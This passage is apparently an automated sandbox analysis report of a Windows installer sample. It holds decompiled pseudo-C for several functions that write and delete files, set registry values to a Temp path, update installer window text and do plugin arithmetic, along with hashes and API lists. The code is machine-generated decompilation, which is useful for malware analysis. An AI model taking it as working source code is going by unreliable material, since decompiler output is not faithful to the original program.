Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction ID: 51638b03811fbd3f25a4eb1d810876b9f584da0c3187da66c7daa715c1b02470
Opcode Fuzzy Hash: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction Fuzzy Hash: 08218471904745ABCB219F78DD08B4BBFF8AF05715B048629F856E22E0D734E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 10002440, Relevance: 10.6, APIs: 7, Instructions: 136
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E10002440(void* __edx, intOrPtr _a4) {
				signed int _v4;
				CHAR* _t32;
				intOrPtr _t33;
				void* _t34;
				void* _t36;
				void* _t43;
				void** _t49;
				CHAR* _t58;
				void* _t59;
				signed int* _t60;
				void* _t61;
				intOrPtr* _t62;
				CHAR* _t63;
				void* _t73;

				_t59 = __edx;
				_v4 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t62 = (_v4 << 5) + _t9;
					_t32 =  *(_t62 + 0x14);
					if(_t32 == 0) {
						goto L9;
					}
					_t58 = 0x1a;
					if(_t32 == _t58) {
						goto L9;
					}
					if(_t32 != 0xffffffff) {
						if(_t32 <= 0 || _t32 > 0x19) {
							 *(_t62 + 0x14) = _t58;
						} else {
							_t32 = E100015E5(_t32 - 1);
							L10:
						}
						goto L11;
					} else {
						_t32 = E10001561();
						L11:
						_t63 = _t32;
						_t13 = _t62 + 8; // 0x820
						_t60 = _t13;
						if( *((intOrPtr*)(_t62 + 4)) != 0xffffffff) {
							_t49 = _t60;
						} else {
							_t49 =  *_t60;
						}
						_t33 =  *_t62;
						 *(_t62 + 0x1c) =  *(_t62 + 0x1c) & 0x00000000;
						if(_t33 == 0) {
							 *_t60 =  *_t60 & 0x00000000;
						} else {
							if(_t33 == 1) {
								_t36 = E10001641(_t63);
								L27:
								 *_t49 = _t36;
								L31:
								_t34 = GlobalFree(_t63);
								if(_v4 == 0) {
									return _t34;
								}
								if(_v4 !=  *((intOrPtr*)(_a4 + 0x814))) {
									_v4 = _v4 + 1;
								} else {
									_v4 = _v4 & 0x00000000;
								}
								continue;
							}
							if(_t33 == 2) {
								 *_t49 = E10001641(_t63);
								_t49[1] = _t59;
								goto L31;
							}
							_t73 = _t33 - 3;
							if(_t73 == 0) {
								_t36 = E10001550(_t63);
								 *(_t62 + 0x1c) = _t36;
								goto L27;
							}
							if(_t73 > 0) {
								if(_t33 <= 5) {
									_t61 = GlobalAlloc(0x40,  *0x10004058 +  *0x10004058);
									 *(_t62 + 0x1c) = _t61;
									MultiByteToWideChar(0, 0, _t63,  *0x10004058, _t61,  *0x10004058);
									if( *_t62 != 5) {
										 *_t49 = _t61;
									} else {
										_t43 = GlobalAlloc(0x40, 0x10);
										 *(_t62 + 0x1c) = _t43;
										 *_t49 = _t43;
										__imp__CLSIDFromString(_t61, _t43);
										GlobalFree(_t61);
									}
								} else {
									if(_t33 == 6 && lstrlenA(_t63) > 0) {
										 *_t60 = E1000274E(E10001641(_t63));
									}
								}
							}
						}
						goto L31;
					}
					L9:
					_t32 = E10001550(0x10004034);
					goto L10;
				}
			}

0x10002440
0x10002454
0x10002458
0x10002463
0x10002463
0x1000246a
0x1000246f
0x00000000
0x00000000
0x10002473
0x10002476
0x00000000
0x00000000
0x1000247b
0x10002486
0x10002496
0x1000248d
0x1000248f
0x100024a5
0x100024a5
0x00000000
0x1000247d
0x1000247d
0x100024a6
0x100024aa
0x100024ac
0x100024ac
0x100024af
0x100024b5
0x100024b1
0x100024b1
0x100024b1
0x100024b7
0x100024b9
0x100024bf
0x1000258a
0x100024c5
0x100024c8
0x10002583
0x1000256f
0x10002570
0x1000258d
0x1000258e
0x10002599
0x100025c3
0x100025c3
0x100025a9
0x100025b5
0x100025ab
0x100025ab
0x100025ab
0x00000000
0x100025a9
0x100024d1
0x1000257b
0x1000257d
0x00000000
0x1000257d
0x100024d7
0x100024da
0x10002567
0x1000256c
0x00000000
0x1000256c
0x100024e0
0x100024e9
0x10002525
0x10002527
0x10002537
0x10002540
0x10002562
0x10002542
0x10002546
0x1000254d
0x10002551
0x10002553
0x1000255a
0x1000255a
0x100024eb
0x100024ee
0x10002510
0x10002512
0x100024ee
0x100024e9
0x100024e0
0x00000000
0x100024bf
0x1000249b
0x100024a0
0x00000000
0x100024a0

APIs

lstrlenA.KERNEL32(?), ref: 100024F5
GlobalAlloc.KERNEL32(00000040,?), ref: 1000251F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 10002537
GlobalAlloc.KERNEL32(00000040,00000010), ref: 10002546
CLSIDFromString.OLE32(00000000,00000000), ref: 10002553
GlobalFree.KERNEL32 ref: 1000255A
GlobalFree.KERNEL32 ref: 1000258E

Part of subcall function 10001550: lstrcpyA.KERNEL32(00000000,?,10001607,?,100011A1,-000000A0), ref: 1000155A

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpylstrlen
String ID:
API String ID: 520554397-0
Opcode ID: 4d2a09eee45eedff946f98fdd0adfb8314ee589d0cc0d31195a6165608b31656
Instruction ID: b3baf62e5a9b027ff8c076c09efcd2265374c504b674d9c0734edd534e3ded0a
Opcode Fuzzy Hash: 4d2a09eee45eedff946f98fdd0adfb8314ee589d0cc0d31195a6165608b31656
Instruction Fuzzy Hash: BC41BA71505A02DFF320CF248C94B6AB7F8FB443E2F614919F946DA199DB70E8808B66

Uniqueness

Uniqueness Score: -1.00%

Function 004026AF, Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004026AF(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *((intOrPtr*)(_t58 - 0xc)) = 0xfffffd66;
				_t52 = E00402A29(0xfffffff0);
				 *(_t58 - 0x38) = _t24;
				if(E004056F8(_t52) == 0) {
					E00402A29(0xffffffed);
				}
				E00405850(_t52);
				_t27 = E0040586F(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423f54;
					 *(_t58 - 0x30) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E004030B3(_t47);
						E00403081(_t51,  *(_t58 - 0x30));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x20));
						 *(_t58 - 0x34) = _t56;
						if(_t56 != _t47) {
							E00402E8E( *((intOrPtr*)(_t58 - 0x24)), _t47, _t56,  *(_t58 - 0x20));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x48) =  *_t56;
								E00405830( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x48);
							}
							GlobalFree( *(_t58 - 0x34));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x30), _t58 - 0x3c, _t47);
						GlobalFree(_t51);
						 *((intOrPtr*)(_t58 - 0xc)) = E00402E8E(0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *((intOrPtr*)(_t58 - 0xc)) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x38));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x004026af
0x004026b1
0x004026bd
0x004026c0
0x004026ca
0x004026ce
0x004026ce
0x004026d4
0x004026e1
0x004026e9
0x004026ec
0x004026f2
0x00402700
0x00402705
0x00402709
0x0040270c
0x00402715
0x00402721
0x00402725
0x00402728
0x00402732
0x00402751
0x00402739
0x0040273e
0x00402746
0x00402749
0x0040274e
0x0040274e
0x00402758
0x00402758
0x0040276a
0x00402771
0x00402783
0x00402783
0x00402789
0x00402789
0x00402794
0x00402795
0x00402799
0x0040279d
0x004027a3
0x004027a3
0x004027aa
0x00402197
0x004028c1
0x004028cd

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402703
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 0040271F
GlobalFree.KERNEL32 ref: 00402758
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,000000F0), ref: 0040276A
GlobalFree.KERNEL32 ref: 00402771
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 00402789
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction ID: c2c7835655fcdbd4aa1197060f7bd229eae72b48ff88aadc8082708ad166979d
Opcode Fuzzy Hash: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction Fuzzy Hash: 9A31AD71C00128BBCF216FA5DE88DAEBA79EF04364F14423AF924762E0C67949418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00404E84, Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E84(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423724;
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x423ff4;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405BBA(0, _t39, 0x41fd10, 0x41fd10, _a4);
					}
					_t26 = lstrlenA(0x41fd10);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423708, 0x41fd10);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fd10;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fd10)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fd10, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404e8a
0x00404e96
0x00404e99
0x00404e9f
0x00404eab
0x00404eae
0x00404eb1
0x00404eb7
0x00404eb7
0x00404ebd
0x00404ec5
0x00404ec8
0x00404ee5
0x00404ee9
0x00404ef2
0x00404ef2
0x00404efc
0x00404f05
0x00404f11
0x00404f18
0x00404f1c
0x00404f1f
0x00404f32
0x00404f40
0x00404f40
0x00404f44
0x00404f46
0x00404f49
0x00000000
0x00404f49
0x00404eca
0x00404ed2
0x00404eda
0x00404ee0
0x00000000
0x00404ee0
0x00404eda
0x00404ec8
0x00404f53

APIs

lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction ID: 29716f0e6f05b21b32fe67f81276caf5577c11483a64657c7043e00463a136c9
Opcode Fuzzy Hash: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction Fuzzy Hash: 21218EB1900118BBDF119FA5DC849DFBFB9FB44354F10807AF904A6290C7789E418BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404753, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404753(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404761
0x0040476e
0x00404774
0x004047b2
0x004047b2
0x004047c1
0x004047c8
0x00000000
0x004047ca
0x00404776
0x00404785
0x0040478d
0x00404790
0x004047a2
0x004047a8
0x004047af
0x00000000
0x004047af
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040476E
GetMessagePos.USER32 ref: 00404776
ScreenToClient.USER32 ref: 00404790
SendMessageA.USER32(?,00001111,00000000,?), ref: 004047A2
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004047C8

Strings

f, xrefs: 004047A4

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction ID: b5292072505f589c3e6e61736795eac3e8b5c463abbfbac9e5f2f3c06e421abf
Opcode Fuzzy Hash: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction Fuzzy Hash: BE015275D00219BADB00DB94DC45BFEBBBCAB55715F10412BBB10B71C1C7B465418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B6E, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B6E(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x40b0d8; // 0x8600
					_t11 =  *0x41f0e8;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfA( &_v68, "verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402b7b
0x00402b89
0x00402b8f
0x00402b8f
0x00402b9d
0x00402b9f
0x00402ba5
0x00402bac
0x00402bae
0x00402bae
0x00402bc4
0x00402bd4
0x00402be6
0x00402be6
0x00402bee

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B89
MulDiv.KERNEL32(00008600,00000064,?), ref: 00402BB4
wsprintfA.USER32 ref: 00402BC4
SetWindowTextA.USER32(?,?), ref: 00402BD4
SetDlgItemTextA.USER32 ref: 00402BE6

Strings

verifying installer: %d%%, xrefs: 00402BBE

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction ID: c6984150c403b35497dc18a40ce28a5dc8b104db4e9527dfc76b44ca96ff41d6
Opcode Fuzzy Hash: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction Fuzzy Hash: 5D01FF70A44208BBEB209F60DD49EEE3769FB04345F008039FA06A92D1D7B5AA558F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402336, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00402336(void* __eax) {
				void* _t15;
				char* _t18;
				int _t19;
				char _t24;
				int _t27;
				intOrPtr _t35;
				void* _t37;

				_t15 = E00402B1E(__eax);
				_t35 =  *((intOrPtr*)(_t37 - 0x18));
				 *(_t37 - 0x34) =  *(_t37 - 0x14);
				 *(_t37 - 0x38) = E00402A29(2);
				_t18 = E00402A29(0x11);
				 *(_t37 - 4) = 1;
				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27,  *0x423ff0 | 0x00000002, _t27, _t37 + 8, _t27);
				if(_t19 == 0) {
					if(_t35 == 1) {
						E00402A29(0x23);
						_t19 = lstrlenA(0x40a410) + 1;
					}
					if(_t35 == 4) {
						_t24 = E00402A0C(3);
						 *0x40a410 = _t24;
						_t19 = _t35;
					}
					if(_t35 == 3) {
						_t19 = E00402E8E( *((intOrPtr*)(_t37 - 0x1c)), _t27, 0x40a410, 0xc00);
					}
					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x38), _t27,  *(_t37 - 0x34), 0x40a410, _t19) == 0) {
						 *(_t37 - 4) = _t27;
					}
					_push( *(_t37 + 8));
					RegCloseKey();
				}
				 *0x423fc8 =  *0x423fc8 +  *(_t37 - 4);
				return 0;
			}

0x00402337
0x0040233c
0x00402346
0x00402350
0x00402353
0x0040236d
0x00402374
0x0040237c
0x0040238a
0x0040238e
0x00402399
0x00402399
0x0040239d
0x004023a1
0x004023a7
0x004023ac
0x004023ac
0x004023b0
0x004023bc
0x004023bc
0x004023d5
0x004023d7
0x004023d7
0x004023da
0x004024b0
0x004024b0
0x004028c1
0x004028cd

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402374
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nssD6D3.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402394
RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nssD6D3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CD
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nssD6D3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024B0

Strings

C:\Users\user\AppData\Local\Temp\nssD6D3.tmp, xrefs: 00402385, 00402393, 004023A7, 004023B7, 004023C2

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nssD6D3.tmp
API String ID: 1356686001-2236915389
Opcode ID: 5ccfc87406e21083559f7ddac985ae6904c0461a65219700b2570d428c2017e0
Instruction ID: e6eb4e552242eddf296ff96e6d07a7eb6613d299afeb9756830ee7ce8f9eb162
Opcode Fuzzy Hash: 5ccfc87406e21083559f7ddac985ae6904c0461a65219700b2570d428c2017e0
Instruction Fuzzy Hash: 7111A271E00108BFEB10EFA5DE8DEAF7678EB40758F10443AF505B31D0C6B85D419A69

Uniqueness

Uniqueness Score: -1.00%

Function 10001ADF, Relevance: 7.7, APIs: 5, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E10001ADF(signed int __edx, void* __eflags, void* _a8, void* _a16) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v148;
				void _t46;
				void _t47;
				signed int _t48;
				signed int _t49;
				signed int _t58;
				signed int _t59;
				signed int _t61;
				signed int _t62;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				signed int _t78;
				void* _t82;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				void* _t102;

				_t86 = __edx;
				 *0x10004058 = _a8;
				_t78 = 0;
				 *0x1000405c = _a16;
				_v8 = 0;
				_a16 = E10001561();
				_a8 = E10001561();
				_t91 = E10001641(_a16);
				_t82 = _a8;
				_t88 = _t86;
				_t46 =  *_t82;
				if(_t46 != 0x7e && _t46 != 0x21) {
					_v16 = E10001561();
					_t78 = E10001641(_t75);
					_v8 = _t86;
					GlobalFree(_v16);
					_t82 = _a8;
				}
				_t47 =  *_t82;
				_t102 = _t47 - 0x2f;
				if(_t102 > 0) {
					_t48 = _t47 - 0x3c;
					__eflags = _t48;
					if(_t48 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x3c;
						if( *((char*)(_t82 + 1)) != 0x3c) {
							__eflags = _t88 - _v8;
							if(__eflags > 0) {
								L54:
								_t49 = 0;
								__eflags = 0;
								L55:
								asm("cdq");
								L56:
								_t91 = _t49;
								_t88 = _t86;
								L57:
								E1000176C(_t86, _t91, _t88,  &_v148);
								E1000159E( &_v148);
								GlobalFree(_a16);
								return GlobalFree(_a8);
							}
							if(__eflags < 0) {
								L47:
								__eflags = 0;
								L48:
								_t49 = 1;
								goto L55;
							}
							__eflags = _t91 - _t78;
							if(_t91 < _t78) {
								goto L47;
							}
							goto L54;
						}
						_t86 = _t88;
						_t49 = E10002BD0(_t91, _t78, _t86);
						goto L56;
					}
					_t58 = _t48 - 1;
					__eflags = _t58;
					if(_t58 == 0) {
						__eflags = _t91 - _t78;
						if(_t91 != _t78) {
							goto L54;
						}
						__eflags = _t88 - _v8;
						if(_t88 != _v8) {
							goto L54;
						}
						goto L47;
					}
					_t59 = _t58 - 1;
					__eflags = _t59;
					if(_t59 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x3e;
						if( *((char*)(_t82 + 1)) != 0x3e) {
							__eflags = _t88 - _v8;
							if(__eflags < 0) {
								goto L54;
							}
							if(__eflags > 0) {
								goto L47;
							}
							__eflags = _t91 - _t78;
							if(_t91 <= _t78) {
								goto L54;
							}
							goto L47;
						}
						_t86 = _t88;
						_t49 = E10002BF0(_t91, _t78, _t86);
						goto L56;
					}
					_t61 = _t59 - 0x20;
					__eflags = _t61;
					if(_t61 == 0) {
						_t91 = _t91 ^ _t78;
						_t88 = _t88 ^ _v8;
						goto L57;
					}
					_t62 = _t61 - 0x1e;
					__eflags = _t62;
					if(_t62 == 0) {
						__eflags =  *((char*)(_t82 + 1)) - 0x7c;
						if( *((char*)(_t82 + 1)) != 0x7c) {
							_t91 = _t91 | _t78;
							_t88 = _t88 | _v8;
							goto L57;
						}
						__eflags = _t91 | _t88;
						if((_t91 | _t88) != 0) {
							goto L47;
						}
						__eflags = _t78 | _v8;
						if((_t78 | _v8) != 0) {
							goto L47;
						}
						goto L54;
					}
					__eflags = _t62 == 0;
					if(_t62 == 0) {
						_t91 =  !_t91;
						_t88 =  !_t88;
					}
					goto L57;
				}
				if(_t102 == 0) {
					L21:
					__eflags = _t78 | _v8;
					if((_t78 | _v8) != 0) {
						_v20 = E10002A60(_t91, _t88, _t78, _v8);
						_v16 = _t86;
						_t49 = E10002B10(_t91, _t88, _t78, _v8);
						_t82 = _a8;
					} else {
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_t49 = _t91;
						_t86 = _t88;
					}
					__eflags =  *_t82 - 0x2f;
					if( *_t82 != 0x2f) {
						goto L56;
					} else {
						_t91 = _v20;
						_t88 = _v16;
						goto L57;
					}
				}
				_t68 = _t47 - 0x21;
				if(_t68 == 0) {
					_t49 = 0;
					__eflags = _t91 | _t88;
					if((_t91 | _t88) != 0) {
						goto L55;
					}
					goto L48;
				}
				_t69 = _t68 - 4;
				if(_t69 == 0) {
					goto L21;
				}
				_t70 = _t69 - 1;
				if(_t70 == 0) {
					__eflags =  *((char*)(_t82 + 1)) - 0x26;
					if( *((char*)(_t82 + 1)) != 0x26) {
						_t91 = _t91 & _t78;
						_t88 = _t88 & _v8;
						goto L57;
					}
					__eflags = _t91 | _t88;
					if((_t91 | _t88) == 0) {
						goto L54;
					}
					__eflags = _t78 | _v8;
					if((_t78 | _v8) == 0) {
						goto L54;
					}
					goto L47;
				}
				_t71 = _t70 - 4;
				if(_t71 == 0) {
					_t49 = E10002A20(_t91, _t88, _t78, _v8);
					goto L56;
				} else {
					_t72 = _t71 - 1;
					if(_t72 == 0) {
						_t91 = _t91 + _t78;
						asm("adc edi, [ebp-0x4]");
					} else {
						if(_t72 == 0) {
							_t91 = _t91 - _t78;
							asm("sbb edi, [ebp-0x4]");
						}
					}
					goto L57;
				}
			}

0x10001adf
0x10001aec
0x10001af5
0x10001af8
0x10001afd
0x10001b05
0x10001b10
0x10001b19
0x10001b1b
0x10001b1e
0x10001b20
0x10001b24
0x10001b30
0x10001b39
0x10001b3e
0x10001b41
0x10001b47
0x10001b47
0x10001b4a
0x10001b4d
0x10001b50
0x10001c16
0x10001c16
0x10001c19
0x10001c82
0x10001c86
0x10001c95
0x10001c98
0x10001ca0
0x10001ca0
0x10001ca0
0x10001ca2
0x10001ca2
0x10001ca3
0x10001ca3
0x10001ca5
0x10001ca7
0x10001cb0
0x10001cbc
0x10001ccd
0x10001cd8
0x10001cd8
0x10001c9a
0x10001c7d
0x10001c7d
0x10001c7f
0x10001c7f
0x00000000
0x10001c7f
0x10001c9c
0x10001c9e
0x00000000
0x00000000
0x00000000
0x10001c9e
0x10001c8a
0x10001c8e
0x00000000
0x10001c8e
0x10001c1b
0x10001c1b
0x10001c1c
0x10001c74
0x10001c76
0x00000000
0x00000000
0x10001c78
0x10001c7b
0x00000000
